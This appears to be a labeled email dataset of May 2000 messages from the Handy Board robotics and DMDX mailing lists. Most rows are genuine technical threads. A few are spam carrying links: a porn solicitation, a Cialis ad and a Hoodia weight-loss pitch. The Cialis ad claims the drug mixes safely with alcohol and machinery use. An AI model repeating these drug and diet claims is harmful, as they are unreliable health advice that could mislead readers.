unpluged,positive being the outside of the plug. I have installed a new 9.5v- 1000mAh radio shack #23-329A battery and the 47ohm r-11. R-11 will still get hot when power is applied and the handyboard is connected. I have the correct telephone type rj11 connecting cord, same as I have been using. Colors match when held facing each other as per directions. What is the best way to solve this problem?? Thanks in advance, Terry Gathright ",0,0 """T. Gathright"" ",handyboard ,"Sun, 07 May 2000 14:18:18 -0500",charger,"Hi, Forgot to tell that the board did download the p-code and seems to work ok with the new battery installed. Also when I plug the charger adapter directly into the handyboard the yellow led flickers between bright and dim for about one minute then glows dim. Terry ",0,0 frank tanner ,apt-req@stsci.edu,"Sun, 07 May 2000 23:13:57 -0400",APT-VTT 0.3 Software Delivery Notice," APT/VTT Version 0.3 has been delivered to operational and can be accessed through hot-vtt. The following OPRs were included in the build: 41383 Move ""Task List"", ""Memory Monitor"" and ""Log Console"" from Edit 41040 20. Make DSS the DEFAULT image source. 41382 Move ""Select Image"" to be under the image menu - not File. 41571 VTT GUI Changes for June 1 41021 On re-starting VTT, DSS does not update coords if target change 41049 29. Convert the often-cryptic aperture names to more user-friendly 41024 Must fix the default selected aperture color. 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We need to devise HPS -- Household Positioning System! -- Will +---------------------------------------------------------+ The early bird gets the worm, but it's the second mouse who gets the cheese. ",0,0 Claudia Bernett ,handyboard@media.mit.edu,"Tue, 09 May 2000 18:44:27 +0000",expansion board problems,"hello. i seem to be having an expansion-board problem which is very puzzling. i am using all sixteen ports, and am in the process of putting together a project which requires that it be stored with all sixteen ports occupied for a week or two at a time - but unpowered. after this period of storage, it has (two times now, with two different expansion boards) begun to behave in a very strange way. the values are essentially all over the place, jumping from 255 to 25 to 4 to 115 etc... has anyone encountered this - and does anyone have any idea what could be causing the problem? this has occurred with two expansion boards in a row. thanks in advance, claudia ",0,0 Julia Harrison ,"java-sig@csc-sun.math.utah.edu, jobs@cs.utah.edu, staff@cs.utah.edu, grads@cs.utah.edu","Tue, 09 May 2000 15:23:50 -0600",Part Time position at CHPC," One to two programmer positions are available immediately at the Center for High Performance Computing (CHPC), University of Utah. These positions require some programming experience in Java and SQL. Salary is negotiable depending on experience. These positions offer an excellent opportunity for gaining working experience in software design and are particularly well suited for motivated upper-level undergraduate and MS students. If interested, please send CV to truong@chemistry.chpc.utah.edu. -- Julia D. Harrison, Assistant Director, User Services Center for High Performance Computing, University of Utah 801-581-5172 ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 09 May 2000 16:17:20 -0400",Household Positioning System Re: DGPS,"In a message dated 05/08/2000 6:25:33 PM Central Daylight Time, willb@selway.umt.edu writes: > Forget global. We need to devise HPS -- Household Positioning System! > How about a beacon system. Each room can have 3 or so beacons high on the wall. Each beacon flashes at 38Khz and each beacon modulates this 38KHz with its own personal code. The top layer of your robot would have 3 or 4 directional sensors with precision angular encoders mounted on them. Then take the angles measured from each sensor and the code number for that sensor. Use the code number to look up the beacon location from ROM. Use the angles measured and the known position of the beacons to deduce the robots location. If you are reluctant to go attaching LEDs to the walls of your house, you could build a box containing several IR Lasers. Modulate the lasers the same as you would for LED beacons. Shine the lasers at various points on the walls (where the beacons should be) and the scattered laser spot will be your beacon source. Just a thought, Pherd Currently in Pensacola FL soon Hartford CT ",0,0 """Mulampaka, Kalyan (GXS, ASI)"" ",handyboard@media.mit.edu,"Tue, 09 May 2000 17:05:25 -0400",RE: Household Positioning System Re: DGPS,"Can we use RF for the communication? The concept is much like the actual GPS systems, triangulate the position with 3 or more signals looking forward for a system like this Kalyan (not an Electronics engineer) -----Original Message----- From: FThompson9@aol.com [mailto:FThompson9@aol.com] Sent: Tuesday, May 09, 2000 4:17 PM To: handyboard@media.mit.edu Subject: Household Positioning System Re: DGPS In a message dated 05/08/2000 6:25:33 PM Central Daylight Time, willb@selway.umt.edu writes: > Forget global. We need to devise HPS -- Household Positioning System! > How about a beacon system. Each room can have 3 or so beacons high on the wall. Each beacon flashes at 38Khz and each beacon modulates this 38KHz with its own personal code. The top layer of your robot would have 3 or 4 directional sensors with precision angular encoders mounted on them. Then take the angles measured from each sensor and the code number for that sensor. Use the code number to look up the beacon location from ROM. Use the angles measured and the known position of the beacons to deduce the robots location. If you are reluctant to go attaching LEDs to the walls of your house, you could build a box containing several IR Lasers. Modulate the lasers the same as you would for LED beacons. Shine the lasers at various points on the walls (where the beacons should be) and the scattered laser spot will be your beacon source. Just a thought, Pherd Currently in Pensacola FL soon Hartford CT ",0,0 Mitchel Warner ,dmdx@psy1.psych.arizona.edu,"Tue, 09 May 2000 11:30:02 -0700",ravishing russian grace Eighteen here!," Young glorious Teenie Poorn lovely Viideo! http://freepornodot.info/fpwhporn.htm?iSPhfd.fX,hj U_N_S_U_B_S_C__R_I_B_E http://freepornodot.info ",1,1 Joe Kopena ,handyboard@media.mit.edu,"Tue, 09 May 2000 23:12:55 +0000","Sonar (yes, it's me again, with more sonar questions!)","Today several members of my lab and I decided to solder together the sonar assembly which had been previously been held together by large quantities of duct tape. We decided the 9-pin connection strip would be too flimsy and unnecesarily difficult to solder, so we figured on soldering the connection lines directly to the bottom of the sonar module as displayed at: http://www.leang.com/robotics/info/circuits/psonar/sonar.jpg (thx Kam for sending me the link to that pic) However, we noticed something seemingly odd to us. How come the picture above has the 1k resistor soldered to the line corresponding to INIT where as the official schematics have the resistor soldered to BINH? This is seen at: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/software/sonar.html Thinking we were very clever we put the resistor on the line marked BINH in the picture. Our sonar doesn't work, and has behaviour similar to what I described in previous messages, where it simply oscillates between some meaningless numbers. This condition was previously caused by not having the capacitor connecting properly (or so we think). We're almost positive this is not the case now. Where does the resistor actually go, and could that be the problem? I put pictures of our assembly online at http://plan.mcs.drexel.edu/legoKits/ in case anyone thinks they have an answer but wish they could see our assembly. Sorry for the blurryness of the pictures :( Thx :) ",0,1 Josefina Sizemore ,handyboard@media.mit.edu,"Wen, Wed, 10 May 2000 18:24:45 -0900",This is most modern and safe way not to cover with shame ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. It has benefits over Viagra and other ED treatment solutions. Here goes some reasons to choose Cialis Soft Tabs: 1. You can mix alcohol drinks with Cialis Soft Tabs without any undesired effects. 2.Cialis Soft Tabs does not make you feel dizzy or make vision blurred, so you can easily drive a car or operate heavy machinery. 3.Cialis soft tabs works much faster than any known ED treatment solution. Cialis Soft Tabs enters the bloodstream directly instead of going through the stomach, thus you need only 15 minutes till you feel the effect. Just look at the graph below If you are interested ? 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For example: \\ $ 0 ""The current category is:"", ""BIRD"", ""Please indicate for each of the following 8 items"", ""whether they belong to the category BIRD or not.""; $ +105 ""###########"" / * ""PENGUIN"" /; +106 ""###########"" / * ""SPARROW"" /; +107 ""###########"" / * ""OSTRICH"" /; +108 ""###########"" / * ""QUAIL"" /; -0305 ""###########"" / * ""ANT"" /; -1306 ""###########"" / * ""FOOT"" /; -0207 ""###########"" / * ""SPIDER"" /; -1208 ""###########"" / * ""NOSE"" /; \\ It's very important that the items I have under ""BIRD"" don't get scrambled with items from other categories (thus the ""\\""). But it's also important that ""BIRD"" doesn't always appear in the same place. So, how do I scramble my categories of items as well as my items within a category? thanks for any help and sorry to bother everyone with such a simple question Matthew",0,0 guilherme possebon ,"""handyboard@media.mit.edu"" ","Wed, 10 May 2000 15:20:10 -0400",guipossebon@zipmail.com,"Hello people: I�m a student from PUCRS(Brazil) and I have to finish my conclusion Work in my course(Mecatronical Engineering) and I need to Know how I modify the frequency in MC68HC11 set in 500Hz to 5KHz because the drivers need work to control a Induction motor with inversor and the frequency 500Hz is too low. If you know how modify this frequency in MC68HC11 please send to me and I feel very happy. thanks for your compreension sincerely Guilherme Possebon Porto Alegre-RGS-Brazil ________________________________________________ Don't E-Mail, ZipMail! http://www.zipmail.com/ ",0,1 Ray Tang ,handyboard@media.mit.edu,"Wed, 10 May 2000 20:38:19 +0000",Re: Household Positioning System Re: DGPS,"Cool idea. Do you have it working? Or do you have a schematic that is somewhat working? If so, I want to test out how accurate it will be. It will be fun to use the LED as landmarks in the building. -- Ray wrote in message news:27.554c332.2649cc50@aol.com... > In a message dated 05/08/2000 6:25:33 PM Central Daylight Time, > willb@selway.umt.edu writes: > > > Forget global. We need to devise HPS -- Household Positioning System! > > > > How about a beacon system. Each room can have 3 or so beacons high on > the wall. Each beacon flashes at 38Khz and each beacon modulates this 38KHz > with its own personal code. The top layer of your robot would have 3 or 4 > directional sensors with precision angular encoders mounted on them. Then > take the angles measured from each sensor and the code number for that > sensor. Use the code number to look up the beacon location from ROM. Use > the angles measured and the known position of the beacons to deduce the > robots location. > If you are reluctant to go attaching LEDs to the walls of your house, you > could build a box containing several IR Lasers. Modulate the lasers the same > as you would for LED beacons. Shine the lasers at various points on the > walls (where the beacons should be) and the scattered laser spot will be your > beacon source. > > Just a thought, > Pherd > Currently in Pensacola FL soon Hartford CT >",0,0 Claudia Bernett ,handyboard@media.mit.edu,"Wed, 10 May 2000 22:12:49 +0000",Re: expansion board problems,"a follow-up to my own message - it seems that this problems occur WHILE i am actually running the application and using the project. if anyone can help at all - i would be very grateful, i am at a loss and urgent to get this working. i have built sixteen very simple mats which are made of vinyl, copper, and foam - it is a simple contact which, when stepped on, drops the value downt to nearly 1. i had a small model of this working for months, and only after a while using the actual size project, did this start occuring. there is no problem with the handyboards, but the expansion boards, one after one, seem to be flipping out. suddenly - the values begin skipping all over the place, or in the latest case, 6 of them just rest at 4. does anyone have any ideas for me? i have tried different code and different boards, nothing works, and i am at a loss to understand. thanks in advance, claudia In lugnet.robotics.handyboard, Claudia Bernett writes: >hello. > >i seem to be having an expansion-board problem which is very puzzling. i am >using all sixteen ports, and am in the process of putting together a project >which requires that it be stored with all sixteen ports occupied for a week or >two at a time - but unpowered. after this period of storage, it has (two >times now, with two different expansion boards) begun to behave in a very >strange way. the values are essentially all over the place, jumping from 255 >to 25 to 4 to 115 etc... > >has anyone encountered this - and does anyone have any idea what could be >causing the problem? this has occurred with two expansion boards in a row. > >thanks in advance, >claudia ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 May 2000 18:57:36 -0700",[DMDX] Re: ,"At 03:00 PM 5/10/00 -0700, you wrote: >Sorry for such a basic question, but I can't figure out how to scramble the >presentation of blocks of items as well as the items within each block. I'm >doing a categorization task where the first item of a block tells the >subject which category they're working with for the next 8 items. For >example: > >\\ >$ >0 ""The current category is:"", > ""BIRD"", > ""Please indicate for each of the following 8 items"", > ""whether they belong to the category BIRD or not.""; >$ >+105 ""###########"" / * ""PENGUIN"" /; >+106 ""###########"" / * ""SPARROW"" /; >+107 ""###########"" / * ""OSTRICH"" /; >+108 ""###########"" / * ""QUAIL"" /; >-0305 ""###########"" / * ""ANT"" /; >-1306 ""###########"" / * ""FOOT"" /; >-0207 ""###########"" / * ""SPIDER"" /; >-1208 ""###########"" / * ""NOSE"" /; > >\\ > >It's very important that the items I have under ""BIRD"" don't get scrambled >with items from other categories (thus the ""\\""). But it's also important >that ""BIRD"" doesn't always appear in the same place. So, how do I scramble >my categories of items as well as my items within a category? > >thanks for any help and sorry to bother everyone with such a simple question It's not simple, it's not doable in DMDX nor is it possible in the other scrambling scheme that I've been tempted to add to DMDX but haven't. I'd have to come up with some nesting construct and if you've ever seen the scramble code (written by Ken 15 years ago, eek) you'll understand why I haven't added it yet. I guess it would be possible to add a series of keywords that scramble's code doesn't see for the first pass that can then get replaced with regular $ and \\ characters for the second pass through scramble, if I was going to do it I probably should make it N passes too. That way the first scramble could be done with a G9 and no $ or \\ characters to move your groups around preserving their internal order and then for the second pass the $ and \\ would be in effect (and the original G not in effect) which would just rearrange the response items. Mmmm, more I think about it the easier it sounds, enter the keywords! , , and . Guess there'd have to be a too. Only real question would be whether backslashes stayed and the beginning of lines (if you've ever looked at scramble's output things like spaces and newlines move), but we can probably fudge that. Your item file would become something like: 0 ""The current category is:"", ""first"", ""Please indicate for each of the following 8 items"", ""whether they belong to the category BIRD or not.""; +105 ""###########"" / * ""PENGUIN"" /; +106 ""###########"" / * ""SPARROW"" /; +107 ""###########"" / * ""OSTRICH"" /; +108 ""###########"" / * ""QUAIL"" /; -0305 ""###########"" / * ""ANT"" /; -1306 ""###########"" / * ""FOOT"" /; -0207 ""###########"" / * ""SPIDER"" /; -1208 ""###########"" / * ""NOSE"" /; 0 ""The current category is:"", ""second"", ""Please indicate for each of the following 8 items"", ""whether they belong to the category BIRD or not.""; +105 ""###########"" / * ""PENGUIN"" /; +106 ""###########"" / * ""SPARROW"" /; +107 ""###########"" / * ""OSTRICH"" /; +108 ""###########"" / * ""QUAIL"" /; -0305 ""###########"" / * ""ANT"" /; -1306 ""###########"" / * ""FOOT"" /; -0207 ""###########"" / * ""SPIDER"" /; -1208 ""###########"" / * ""NOSE"" /; 0 ""The current category is:"", ""third"", ""Please indicate for each of the following 8 items"", ""whether they belong to the category BIRD or not.""; +105 ""###########"" / * ""PENGUIN"" /; +106 ""###########"" / * ""SPARROW"" /; +107 ""###########"" / * ""OSTRICH"" /; +108 ""###########"" / * ""QUAIL"" /; -0305 ""###########"" / * ""ANT"" /; -1306 ""###########"" / * ""FOOT"" /; -0207 ""###########"" / * ""SPIDER"" /; -1208 ""###########"" / * ""NOSE"" /; I'll see if it's easily doable and if so I might do it this evening, otherwise it's not likely to happen for a while, I'm building version 2 of TimeDX and DMDX right now... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Law stands mute in the midst of arms.",0,0 Gary Livick ,handyboard@media.mit.edu,"Wed, 10 May 2000 23:03:34 +0000",Re: expansion board problems,"Claudia, Without a lot more detail, it will be difficult to solve this one over the internet. If you can take a few minutes and regroup, maybe someone will have an idea. The kinds of things it would be good to know, interspersed with my comments: 1. It is not likely that a series of expansion boards all have the same problem, although if there is a design problem at work it's at least possible. When you experience the wierd analog signals, exactly which ports are they occuring on? Some ports are pulled high with pullup resistors on the expansion board, some are not. 2. Do the strange signals stop and stay fixed at some value when the input signal is unplugged from the board? In short, is it the input sensors or the board that is going whacky? 3. Have you reseated all the IC's on the main board? 4. What does the + 5 volt power line look like when these strange things are happening? Is is stable? The analog signal is read by comparing the input voltage to the power on the board (5 volts). 5. Have you tried another Handy Board? 6. Is the voltage regulator on your Handy Board getting too hot? Are any other chips warm to the touch? There are just a few of the things it would be nice to know. Be as specific as you can when you respond, in terms such as ""when I watch the input signal at analog input 17 by reading it's value from the command line in IC, I see it float. However, when I check the signal right at the input pin on the expansion board with a voltmeter, it is stable at 2.5 volts."" That way we have a chance to help you with this very strange problem. And as likely and not, you'll find the problem on your own by being so thorough in your investigation. Let us know either way. Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ Claudia Bernett wrote: > a follow-up to my own message - it seems that this problems occur WHILE i am > actually running the application and using the project. if anyone can help at > all - i would be very grateful, i am at a loss and urgent to get this working. > > i have built sixteen very simple mats which are made of vinyl, copper, and > foam - it is a simple contact which, when stepped on, drops the value downt to > nearly 1. i had a small model of this working for months, and only after a > while using the actual size project, did this start occuring. there is no > problem with the handyboards, but the expansion boards, one after one, seem to > be flipping out. suddenly - the values begin skipping all over the place, or > in the latest case, 6 of them just rest at 4. > > does anyone have any ideas for me? i have tried different code and different > boards, nothing works, and i am at a loss to understand. > > thanks in advance, > claudia > > In lugnet.robotics.handyboard, Claudia Bernett writes: > >hello. > > > >i seem to be having an expansion-board problem which is very puzzling. i am > >using all sixteen ports, and am in the process of putting together a project > >which requires that it be stored with all sixteen ports occupied for a week or > >two at a time - but unpowered. after this period of storage, it has (two > >times now, with two different expansion boards) begun to behave in a very > >strange way. the values are essentially all over the place, jumping from 255 > >to 25 to 4 to 115 etc... > > > >has anyone encountered this - and does anyone have any idea what could be > >causing the problem? this has occurred with two expansion boards in a row. > > > >thanks in advance, > >claudia ",0,1 Will Bain ,Handyboard Mailing List ,"Wed, 10 May 2000 19:02:26 -0600",Re: expansion board problems,"Claudia Bernett wrote: > i have built sixteen very simple mats which are made of vinyl, copper, and > foam - it is a simple contact which, when stepped on, drops the value downt to > nearly 1. i had a small model of this working for months, and only after a > while using the actual size project, did this start occuring. there is no > problem with the handyboards, but the expansion boards, one after one, seem to > be flipping out. suddenly - the values begin skipping all over the place, or > in the latest case, 6 of them just rest at 4. I wonder if the mats aren't perhaps generating electrostatic discharge (ESD), which can wreak havoc with many solid state devices. -- Will",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 May 2000 22:02:01 -0700",[DMDX] DMDX 1.3.00,"Mwahahahaha, I have created a monster, woe unto any that try and use Multi-Scrambling! Gads, just about gave myself a brain tumor figuring out how to use it, sheesh. There's a temporary zip up on the website that has 1.3.00 in it, DMDX1300.ZIP, it just has DMDX.EXE in it, no help files or TimeDX, when I get in to work tomorrow I'll put a regular update up. Basic abbreviated keywords are: Scramble parameter S to be used on iteration N1. On iteration N1 of the mutli-scrambling this keyword will be replaced with SN2. As with original scramble parameters these must occur on the first line of item file, they cannot be in the extended parameters. For the purposes of multi-scrambling that first line also has to be less than 1024 characters, sloppy coding on my part. Same as above but for G and I scramble parameters. Scramble dollars sign for iteration N. Scramble backslash for iteration N. When multi-scrambling is used there are additional temporary files left behind so you can attempt to figure out from the aftermath just what happened, multiscrambleN.itm, one for each iteration -- god forbid someone should ever try and use more than two iterations though. These files are the input to scramble at each iteration, scramble overwrites it's output each time it is used so scrambled.itm only has the final result. Sounds straight forward doesn't it? Well if you thought getting a regular scramble to work was tough this is not just squared but cubed toughness. The trick is that for each piece of the file that you want to stay put you have to provide dollars for each iteration of the scramble, but, and this is the kicker that took me a while to figure out, they have to be *nested*. So below the order of those s around the extended parameter line and the last line are not arbitrary and getting them wrong can lead to some very un-intuitive results. The solution to the earlier scramble enigma is as follows: F10 0 ""The current category is:"", ""first"", ""Please indicate for each of the following 8 items"", ""whether they belong to the category BIRD or not.""; +105 ""####1#######"" / * ""PENGUIN"" /; +106 ""####1#######"" / * ""SPARROW"" /; +107 ""#####1######"" / * ""OSTRICH"" /; +108 ""#####1######"" / * ""QUAIL"" /; -0305 ""####1#######"" / * ""ANT"" /; -1306 ""####1#######"" / * ""FOOT"" /; -0207 ""####1#######"" / * ""SPIDER"" /; -1208 ""####1#######"" / * ""NOSE"" /; 0 ""The current category is:"", ""second"", ""Please indicate for each of the following 8 items"", ""whether they belong to the category BIRD or not.""; +105 ""#####2######"" / * ""PENGUIN"" /; +106 ""####2#######"" / * ""SPARROW"" /; +107 ""######2#####"" / * ""OSTRICH"" /; +108 ""#####2######"" / * ""QUAIL"" /; -0305 ""####2#######"" / * ""ANT"" /; -1306 ""####2#######"" / * ""FOOT"" /; -0207 ""####2#######"" / * ""SPIDER"" /; -1208 ""####2#######"" / * ""NOSE"" /; 0 ""The current category is:"", ""third"", ""Please indicate for each of the following 8 items"", ""whether they belong to the category BIRD or not.""; +105 ""###3########"" / * ""PENGUIN"" /; +106 ""####3#######"" / * ""SPARROW"" /; +107 ""####3#######"" / * ""OSTRICH"" /; +108 ""####3#######"" / * ""QUAIL"" /; -0305 ""####3#######"" / * ""ANT"" /; -1306 ""#####3######"" / * ""FOOT"" /; -0207 ""#####3######"" / * ""SPIDER"" /; -1208 ""#####3######"" / * ""NOSE"" /; 0 ""The end"" l; The first iteration produces the following output and you can see the dollars symbols are nesting the next iteration's dollars symbols: G9 S1 $ F10 $ 0 ""{\\fs28 The current category is:"", ""{\\fs28 first"", ""{\\fs28 Please indicate for each of the following 8 items"", ""{\\fs28 whether they belong to the category BIRD or not.""; +105 ""{\\fs28 ####1#######"" / * ""{\\fs28 PENGUIN"" /; +106 ""{\\fs28 ####1#######"" / * ""{\\fs28 SPARROW"" /; +107 ""{\\fs28 #####1######"" / * ""{\\fs28 OSTRICH"" /; +108 ""{\\fs28 #####1######"" / * ""{\\fs28 QUAIL"" /; -0305 ""{\\fs28 ####1#######"" / * ""{\\fs28 ANT"" /; -1306 ""{\\fs28 ####1#######"" / * ""{\\fs28 FOOT"" /; -0207 ""{\\fs28 ####1#######"" / * ""{\\fs28 SPIDER"" /; -1208 ""{\\fs28 ####1#######"" / * ""{\\fs28 NOSE"" /; 0 ""{\\fs28 The current category is:"", ""{\\fs28 second"", ""{\\fs28 Please indicate for each of the following 8 items"", ""{\\fs28 whether they belong to the category BIRD or not.""; +105 ""{\\fs28 #####2######"" / * ""{\\fs28 PENGUIN"" /; +106 ""{\\fs28 ####2#######"" / * ""{\\fs28 SPARROW"" /; +107 ""{\\fs28 ######2#####"" / * ""{\\fs28 OSTRICH"" /; +108 ""{\\fs28 #####2######"" / * ""{\\fs28 QUAIL"" /; -0305 ""{\\fs28 ####2#######"" / * ""{\\fs28 ANT"" /; -1306 ""{\\fs28 ####2#######"" / * ""{\\fs28 FOOT"" /; -0207 ""{\\fs28 ####2#######"" / * ""{\\fs28 SPIDER"" /; -1208 ""{\\fs28 ####2#######"" / * ""{\\fs28 NOSE"" /; 0 ""{\\fs28 The current category is:"", ""{\\fs28 third"", ""{\\fs28 Please indicate for each of the following 8 items"", ""{\\fs28 whether they belong to the category BIRD or not.""; +105 ""{\\fs28 ###3########"" / * ""{\\fs28 PENGUIN"" /; +106 ""{\\fs28 ####3#######"" / * ""{\\fs28 SPARROW"" /; +107 ""{\\fs28 ####3#######"" / * ""{\\fs28 OSTRICH"" /; +108 ""{\\fs28 ####3#######"" / * ""{\\fs28 QUAIL"" /; -0305 ""{\\fs28 ####3#######"" / * ""{\\fs28 ANT"" /; -1306 ""{\\fs28 #####3######"" / * ""{\\fs28 FOOT"" /; -0207 ""{\\fs28 #####3######"" / * ""{\\fs28 SPIDER"" /; -1208 ""{\\fs28 #####3######"" / * ""{\\fs28 NOSE"" /; $ 0 ""{\\fs28 The end"" l; $ For the second iteration the following is produced, a more or less straight forward scramble: S9 $ F10 $ \\ $ 0 ""{\\fs28 The current category is:"", ""{\\fs28 second"", ""{\\fs28 Please indicate for each of the following 8 items"", ""{\\fs28 whether they belong to the category BIRD or not.""; $ +105 ""{\\fs28 #####2######"" / * ""{\\fs28 PENGUIN"" /; +106 ""{\\fs28 ####2#######"" / * ""{\\fs28 SPARROW"" /; +107 ""{\\fs28 ######2#####"" / * ""{\\fs28 OSTRICH"" /; +108 ""{\\fs28 #####2######"" / * ""{\\fs28 QUAIL"" /; -0305 ""{\\fs28 ####2#######"" / * ""{\\fs28 ANT"" /; -1306 ""{\\fs28 ####2#######"" / * ""{\\fs28 FOOT"" /; -0207 ""{\\fs28 ####2#######"" / * ""{\\fs28 SPIDER"" /; -1208 ""{\\fs28 ####2#######"" / * ""{\\fs28 NOSE"" /; \\ $ 0 ""{\\fs28 The current category is:"", ""{\\fs28 third"", ""{\\fs28 Please indicate for each of the following 8 items"", ""{\\fs28 whether they belong to the category BIRD or not.""; $ +105 ""{\\fs28 ###3########"" / * ""{\\fs28 PENGUIN"" /; +106 ""{\\fs28 ####3#######"" / * ""{\\fs28 SPARROW"" /; +107 ""{\\fs28 ####3#######"" / * ""{\\fs28 OSTRICH"" /; +108 ""{\\fs28 ####3#######"" / * ""{\\fs28 QUAIL"" /; -0305 ""{\\fs28 ####3#######"" / * ""{\\fs28 ANT"" /; -1306 ""{\\fs28 #####3######"" / * ""{\\fs28 FOOT"" /; -0207 ""{\\fs28 #####3######"" / * ""{\\fs28 SPIDER"" /; -1208 ""{\\fs28 #####3######"" / * ""{\\fs28 NOSE"" /; \\ $ 0 ""{\\fs28 The current category is:"", ""{\\fs28 first"", ""{\\fs28 Please indicate for each of the following 8 items"", ""{\\fs28 whether they belong to the category BIRD or not.""; $ +105 ""{\\fs28 ####1#######"" / * ""{\\fs28 PENGUIN"" /; +106 ""{\\fs28 ####1#######"" / * ""{\\fs28 SPARROW"" /; +107 ""{\\fs28 #####1######"" / * ""{\\fs28 OSTRICH"" /; +108 ""{\\fs28 #####1######"" / * ""{\\fs28 QUAIL"" /; -0305 ""{\\fs28 ####1#######"" / * ""{\\fs28 ANT"" /; -1306 ""{\\fs28 ####1#######"" / * ""{\\fs28 FOOT"" /; -0207 ""{\\fs28 ####1#######"" / * ""{\\fs28 SPIDER"" /; -1208 ""{\\fs28 ####1#######"" / * ""{\\fs28 NOSE"" /; $ 0 ""{\\fs28 The end"" l; $ Well that about nukes this evening's game playing. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Do not underestimate the power of the Force.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 May 2000 22:31:42 -0700",[DMDX] Re: DMDX 1.3.00,"At 10:02 PM 5/10/00 -0700, you wrote: > The solution to the earlier scramble enigma is as follows: > > Oops, of course that last S should be an 8... Doesn't affect the output because of the backslashes but technically it should be 8. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Do not underestimate the power of the Force.",0,0 David Young ,handyboard@media.mit.edu,"Thu, 11 May 2000 20:54:28 +1200",AS11_IC assembler ,"Dear All I'm trying to use the AS11_IC assembler which comes in the pcode_pc zip file. I'm getting 'file not found' and 'can't open' messages left, right and center. All the necessary files seem to be in the right directories, except for ascpp1.asm which doesn't seem to be anywhere. Can anyone point me to a detailed explanation of how to use this thing. TIA David Young ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Thu, 11 May 2000 12:03:44 -0400",Re: Household Positioning System Re: DGPS,"> Cool idea. Do you have it working? Or do you have a schematic that is > somewhat working? If so, I want to test out how accurate it will be. It > will be fun to use the LED as landmarks in the building. > No design, just an idea. The way I see it, you put a ""Head"" on the top of your robot. It has three sensors mounted for tilt and pan. The easiest way I can see it is to use gear head stepper motors with a ""Home"" switch to point the thing. The Handy board issues step and direction pulses out a parallel port to a stepper controller chip. The tilt motor mounts to the shaft of the pan motor. Ribbon cable runs from the fixet frame to the moving stepper and the sensor set. Mounted to the shaft of the tilt motor is a box. inside the box at one end is a group of four ""remote control sensors."" These are available from lots of places (Radio shack, BGMicro). You give them 5 volts and ground and they respond with a digital output ""I see it."" These four outputs goto digital inputs on the handy board. When the robot powers up, it homes the sensor switches to the home switches. When the robot enters a room, it stops points the sensors at the angles it expects to see to beacons (it has a guess of where it is in the room and a table of where the beacons are supposed to be). If it finds the beacon there, it verifies the beacons transmitted code. If it does not find the beacon, it does a square spiral search from the starting location outward until it finds the beacon. With the new beacon angles, it revises its pose estimate and proceeds to move to its desired location. The speed of acquiring the beacon will be limited by the longest ""off"" time in the beacons ID code. (That is you don't want to skip a sampled location just because your sensor was looking at that spot when the beacon was sending 0.) While the robot is moving, the image of the beacon will drift off of one of the sensors, and the controller will need to issue steps to the pan/tilt system to bring the beacon back onto that sensor. This will help the robot ""track"" the sensor position. I suppose you could get away with one sensor and constantly scan around the beacon location, but this would slow your robot down, and four sensors will tell you if you have drifted off the spot, or if the beacon is sending a 0. Sorry for the length, but this is about all I can say on the topic right now. Pherd Currently in Pensacola FL soon Hartford CT ",0,0 Anders Johansson ,handyboard@media.mit.edu,"Thu, 11 May 2000 18:19:42 +0000",Re: Household Positioning System Re: DGPS,"In lugnet.robotics.handyboard, FThompson9@aol.com writes: >In a message dated 05/08/2000 6:25:33 PM Central Daylight Time, >willb@selway.umt.edu writes: > >> Forget global. We need to devise HPS -- Household Positioning System! >> > > How about a beacon system. Each room can have 3 or so beacons ... Some years ago i wrote the presentation part of a prototype system based on ultrasonic beacons. the beacons were plugged into wall outlets and transmitted their ID:s, i can't remember the details but the beacons were syncronized by detectecting the zero crossing of the 220V 50Hz. i think the system gave the position within 1 mm to 1 cm . the prototype system was 2D (x,y) but i see no problem using it for 3D (x,y,z). Just thought i should mentioned it ... -Anders ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 11 May 2000 16:40:31 -0700",[DMDX] 1.3.01," I've just posted the properly integrated release, 1.3.01. I've added some easier to read synonyms and a bunch of help too (like the whole day's worth of work just went into the documentation, only took half that time to do the code). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The hardest job of all is trying to look busy when you're not. - William Feather (1889- ) ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Thu, 11 May 2000 17:51:06 -0700",[DMDX],"Jonathan, thanks a million for the quick work on this. The help file is excellent! It took a bit to figure out, but I've got everything working now. thanks again Matthew > > I've just posted the properly integrated release, 1.3.01. I've added > some easier to read synonyms and a bunch of help too (like the whole day's > worth of work just went into the documentation, only took half that time to > do the code). > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > The hardest job of all is trying to look busy when you're not. > - William Feather (1889- ) > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 Reggie Burnette ,handyboard@media.mit.edu,"Thu, 11 May 2000 17:42:01 -0200",Hoodia Weight Loss pA7 ," Revolutionary ""Hoodia"" which works effectively burning fats without hunger, chemicals intake or heavy exercise. Suppress your appetite and enjoying your very nice V-Shape body in just a week. You won't regret. http://043.healthisswesome.com 5B8WJ ",1,1 Ray Tang ,handyboard@media.mit.edu,"Fri, 12 May 2000 03:07:20 +0000",Re: Household Positioning System Re: DGPS,"Actually, I am going in that direction. I was trying to use the ultrasonic transducer to produce a signal and then use two detector to triangulate the location. That wasn't much of a success. I will need to redo the parts. I want to try using more beacons and landmarks, but I couldn't come up with a scheme to assign ID to each beacons. Same as the IR beacons. Any ideas? I am willing to program an EPROM, but I just don't have any idea as to how to assign ID to 